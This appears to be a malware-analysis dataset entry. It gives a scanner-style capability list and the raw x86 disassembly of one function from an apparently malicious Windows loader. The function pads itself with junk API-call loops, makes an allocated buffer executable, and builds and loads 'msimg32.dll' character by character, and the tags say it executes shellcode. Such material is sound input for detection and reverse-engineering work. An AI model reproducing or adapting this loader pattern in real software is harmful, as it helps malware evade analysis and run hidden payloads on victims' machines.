Function at 0x4a2f00
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4a62a6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2870
call fcn.0040e030
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e303
jge 0x4a2f4e
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9a5e26
jle 0x4a2f6a
cmp dword [esp + 0x10], 0xbf0f38
je 0x4a2f6a
cmp dword [esp + 0x44], 0x9081d28
jne 0x4a2f73
inc esi
cmp esi, 0x989f6
jl 0x4a2f40
cmp dword [0x260faa4], 0xcf8
jne 0x4a3076
push edi
push edi
push edi
call fcn.004055fb
add esp, 0xc
push 0x40365c
push edi
call fcn.004055fb
push edi
push edi
push edi
push edi
call fcn.004052b8
push edi
call fcn.004055c0
add esp, 0x1c
push edi
call fcn.0040517d
add esp, 4
push edi
call fcn.004055f0
add esp, 4
mov dword [esp + 0x70], edi
mov dword [esp + 0x74], edi
mov dword [esp + 0x78], edi
mov dword [esp + 0x288c], edi
xor eax, eax
mov dword [esp + 0x4c], 0xf
mov dword [esp + 0x48], edi
mov byte [esp + 0x38], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4a2fe6
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x4a3000
push 0x403b74
call fcn.00404b3b
cmp esi, 0xf
jbe 0x4a3013
push edi
push esi
lea eax, [esp + 0x40]
push eax
call fcn.00404920
jmp 0x4a3020
cmp esi, edi
jne 0x4a3022
mov dword [esp + 0x48], edi
mov byte [esp + 0x38], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x4a305d
mov eax, dword [esp + 0x38]
cmp dword [esp + 0x4c], ebx
jae 0x4a303c
lea eax, [esp + 0x38]
push esi
push edi
push eax
call fcn.0040c1e0
mov eax, dword [esp + 0x44]
add esp, 0xc
mov dword [esp + 0x48], esi
cmp dword [esp + 0x4c], ebx
jae 0x4a3059
lea eax, [esp + 0x38]
mov byte [eax + esi], 0
cmp dword [esp + 0x4c], ebx
jb 0x4a3070
mov ecx, dword [esp + 0x38]
push ecx
call fcn.004056b8
add esp, 4
push edi
call fcn.0040556e
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x408
jne 0x4a30a3
mov eax, 0x5d1
add dword [0x260faa4], eax
cmp dword [0x260faa4], 3
jne 0x4a30c2
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0x84]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x4a3090
mov eax, dword [0x260faa4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x4c5834], eax
mov eax, dword [0x260faa4]
xor esi, esi
test eax, eax
je 0x4a3160
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceExA]
jmp 0x4a3100
cmp eax, 0xfe
jne 0x4a3129
push 0
call ebx
call ebp
xor ecx, ecx
lea eax, [esp + 0x18]
push eax
push ecx
push ecx
lea edx, [esp + 0x108c]
push edx
push ecx
mov dword [esp + 0x24], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
call fcn.004a2c90
mov eax, dword [0x260faa4]
cmp eax, 0x29
jne 0x4a315b
lea eax, [esp + 0x2c]
push eax
push 0
push 0x403668
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
push 0
push 0
call edi
mov eax, dword [0x260faa4]
inc esi
cmp esi, eax
jb 0x4a3100
cmp eax, 0x70
jne 0x4a3261
push 0x4036d0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x403710
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0
push 0x403750
push 0
push 0x4037c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
lea ecx, [esp + 0x1080]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
lea edx, [esp + 0x84]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0x403814
push 0x403850
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call edi
call edi
push 0x4038fc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push 0
push 0
lea ecx, [esp + 0x1888]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea edx, [esp + 0x884]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call ebx
push 0x403938
push 0x403a28
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0x403a60
call esi
mov eax, dword [0x260faa4]
mov esi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov ebp, dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x10], 0x9682ab
cmp eax, 3
jne 0x4a32b4
push 0
lea eax, [esp + 0x1c]
push eax
push 0
lea ecx, [esp + 0x88c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea edx, [esp + 0x80]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x260faa4]
cmp eax, 0xdf
jne 0x4a341c
push 0
lea eax, [esp + 0x1084]
push eax
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
call ebp
push 0
lea ecx, [esp + 0x30]
push ecx
call ebx
push 0
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea eax, [esp + 0x1c]
push eax
push 0
lea ecx, [esp + 0x1888]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
lea edx, [esp + 0x20]
push edx
push 0x403a88
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
xor eax, eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea ecx, [esp + 0x24]
push ecx
push 0
lea edx, [esp + 0x888]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x403b08
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x84]
push ecx
push 0x403b10
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x2084]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea ecx, [esp + 0x40]
push 0
push ecx
mov dword [esp + 0x44], 0
call fcn.0040b5f0
add esp, 0xc
push 0
lea edx, [esp + 0x3c]
push edx
push 0x403b54
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x260faa4]
dec dword [esp + 0x10]
jne 0x4a3281
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebp, 0x3a5e74
lea ecx, [ecx]
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x4a3440
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
cmp dword [0x260faa4], 0x222
jne 0x4a3470
push 0
call esi
dec edi
jne 0x4a3460
mov ecx, dword [0x260faa4]
mov edx, dword [0x4c5834]
lea eax, [esp + 0x14]
push eax
push 0x40
push ecx
push edx
mov byte [0x4c0aa0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004a2eb0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
cmp dword [0x260faa4], 0xba
jne 0x4a34bb
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x4a34cd
add dword [0x4c5834], 0
inc esi
cmp esi, 0x1605a
jl 0x4a34a2
mov ecx, 0x73
mov edx, 0x6d
mov word [0x2605ae2], cx
mov word [0x2605ae6], dx
xor edx, edx
mov eax, 0x33
mov ecx, 0x67
mov word [0x2605aea], ax
mov word [0x2605af6], dx
mov word [0x2605ae8], cx
mov edx, 0x69
mov eax, 0x6d
mov ecx, 0x6c
push 0x2605ae0
mov dword [0x2605af0], 0x6c0064
mov word [0x2605ae4], dx
mov word [0x2605ae0], ax
mov word [0x2605af4], cx
mov dword [0x2605aec], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x260faa4], 0xc30
jne 0x4a361a
lea ecx, [esp + 0x880]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
lea edx, [esp + 0x80]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea eax, [esp + 0x2084]
push eax
push 0
push 0x403b60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
lea edx, [esp + 0x188c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea eax, [esp + 0x1084]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x3c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push 0
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov ecx, dword [esp + 0x2884]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret